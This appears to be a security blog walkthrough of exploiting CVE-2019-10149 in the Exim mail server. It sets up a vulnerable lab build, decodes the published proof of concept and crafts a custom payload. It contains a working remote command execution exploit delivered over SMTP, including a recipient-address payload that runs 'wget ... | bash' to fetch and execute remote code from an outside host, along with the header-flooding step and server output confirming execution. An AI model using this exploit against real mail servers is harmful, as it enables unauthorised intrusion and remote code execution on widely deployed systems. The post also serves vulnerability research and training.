On 06 June 2019 Qualys disclosed a remote command execution vulnerability that affects exim versions 4.87 to 4.91. In their disclosure it was noted the following.

Our local-exploitation method does not work remotely … We eventually devised an elaborate method for exploiting Exim remotely in its default configuration, but we first identified various non-default configurations that are easy to exploit remotely`

In this post, I will walk you through setting up a vulnerable exim server using a non-default configuration, crafting your own payload, and exploiting the vulnerability.

Vulnerable Environment Setup

First, we will setup a vulnerable ubuntu 18.04 server with a copy of exim version 4.89. This will allow us to test and debug our exploit code later.

In this example I am using DigitalOcean to spin up a virtual machine. If you don’t already have a DigitalOcean account, you can use my referral code and get $10 off your new account while also supporting me.

Once we have a functional Ubuntu VM, we can run the following to setup exim 4.89.

## Download and extract exim version 4.89
wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz

## Move into the extracted folder
cd exim-4.89/

## Create ./configure file
wget https://gist.githubusercontent.com/GlitchWitchIO/427b92ad92aa5370f78011f04c7ad528/raw/b2d0af60047da8a3224c0a616417d240607b76b9/exim%2520configure -O configure

## Copy and modify required config files
sed -e 's,^EXIM_USER.*$,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile && cp exim_monitor/EDITME Local/eximon.conf

## Create exim user and group
groupadd -g 31 exim && useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim

## Install dependencies
apt-get update && apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev

## Install exim 4.89
make install

## edit /usr/exim/configure to allow relaying so we can exploit without waiting 7 days
sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = */' /usr/exim/configure
sed -i '/hostlist   relay_from_hosts = localhost/c\hostlist   relay_from_hosts =' /usr/exim/configure

sed -i '/require verify = recipient/c\#require verify = recipient' /usr/exim/configure

## Run exim as user exim
sudo -H -u exim /usr/exim/bin/exim -bd -d-receive    

You’ll notice the last sed command is used to achieve the non-default vulnerable configuration mentioned in the Qualys disclosure.

If the “verify = recipient” ACL was removed manually by an administrator (maybe to prevent username enumeration via RCPT TO), then our local-exploitation method also works remotely.

Now that we have exim running, we can move back to our attacker machine to craft and run our exploit.

Crafting the exploit

In the disclosure, the Proof-of-Concept provided is as follows \x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22. At first glance this might seem like gibberish, but we can decode it by understanding what’s happening.

First you’ll notice the \, this is acting as a separator and is required after each space or symbol.

Next, we see x2F which is hexadecimal for /.

We also have \t which is acting as a blank space.

Knowing that this is hexidecimal we can go ahead and lookup the remaining symbols.

Converting the above will leave us with the following command. /bin/sh -c "id>>/tmp/id"

With this knowledge, we can now craft our own exploit code. \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Fpayload\t-O\t-\t\x7C\tbash\x22\ which converts to /bin/sh -c “wget https://glitchwitch.io/payload -O - | bash”

What this will ultimately do is download the payload file and execute its contents. This allows us to quickly and easily modify our attack without changing the exploit code itself. The payload could include anything from a reverse shell to a full fledged backdoor.

We can use the following table to help us quickly craft different exploits.

\t-c\ = -c
\t\= space
x20 = space
x7C = |
x2F = /
x3A = :
x2D = -
x3E = >
x26 = &
x22 = "

One example might be \x2Fusr\x2Fbin\x2Fwget\x20\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Ftest\x20\x2DO\x20\x22\x2Ftmp\x2Ftest\x22 which converts to /usr/bin/wget https://glitchwitch.io/test -O /tmp/test

With this understanding, we can go ahead and test our newly crafted exploit. Note the response code 250 after each successful command.


First we use nc to start a connection to the server.

[email protected]:~$ nc 25
220 exim ESMTP Exim 4.89 Fri, 14 Jun 2019 21:57:18 +0000

Once we are connected we say HELO.

helo localhost

250 exim Hello localhost []

Next, we set the sender address to blank.

mail from:<>

250 OK

Then we set out recipient address with the payload we made earlier by inserting our desired command where the ellipses is rcpt to:<${run{...}}@localhost>.

rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Fpayload\t-O\t-\t\x7C\tbash\x22\}}@localhost>

250 Accepted

And finally, we have to include a buffer as explained in the disclosure.

we send more than received_headers_max (30, by default) “Received:” headers to the mail server, to set process_recipients to RECIP_FAIL_LOOP and hence execute the vulnerable code;

We first type DATA, followed by 31 lines, a blank line, and a period.

354 Enter message, ending with "." on a line by itself

Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31


If we take a look at our exim server, we should see the following output on our terminal.

11009 **** SPOOL_IN - No additional fields
11009 body_linecount=0 message_linecount=35
11009 DSN: set orcpt: NULL  flags: 0
11009 post-process ${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Fpayload\t-O\t-\t\x7C\tbash\x22\}}@localhost (2)
11009 LOG: MAIN
11009   ** ${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Fpayload\t-O\t-\t\x7C\tbash\x22\}}@localhost: Too many "Received" headers - suspected mail loop
11009 direct command:
11009   argv[0] = /bin/sh
11009   argv[1] = -c
11009   argv[2] = wget	https://glitchwitch.io/payload	-O	-	|	bash
11009   argv[3] = }
11009 direct command:
11009   argv[0] = /bin/sh
11009   argv[1] = -c
11009   argv[2] = wget	https://glitchwitch.io/payload	-O	-	|	bash
11009   argv[3] = }

Notice the direct command section which displays the executed payload. This can be very helpful for debugging your exploit.



CVE-2019-10149 is a very serious vulnerability that is being actively exploited in the wild as documented here and here. At the time of writing this shodan reports nearly 5.5 million devices running exim, with over half of those being within the affected version range.

While no public Proof-of-Concept exists for servers with default configurations, it would be trivial for a determined party to develop such a PoC given the public nature of the vulnerability details.

I hope this post will have helped you with your research. I am about to start the PWK (Penetration Testing with Kali) course in preparation for my OSCP (Offensive Security Certified Professional) certification exam and as such this may be my last public blog post for sometime.

Between penetration testing engagements, personal research, and downtime I am not always the most online™. While I don’t see that changing anytime soon, I am always looking for ways to help give back to the infosec community and help others learn the way I have. I want to say thank you to everyone who has visited my blog and found these posts helpful.

Your continued comments, emails, and tweets are much appreciated.

(p.s yes I have seen your comments on the Windows 10 on DO post, keep an eye out for an update)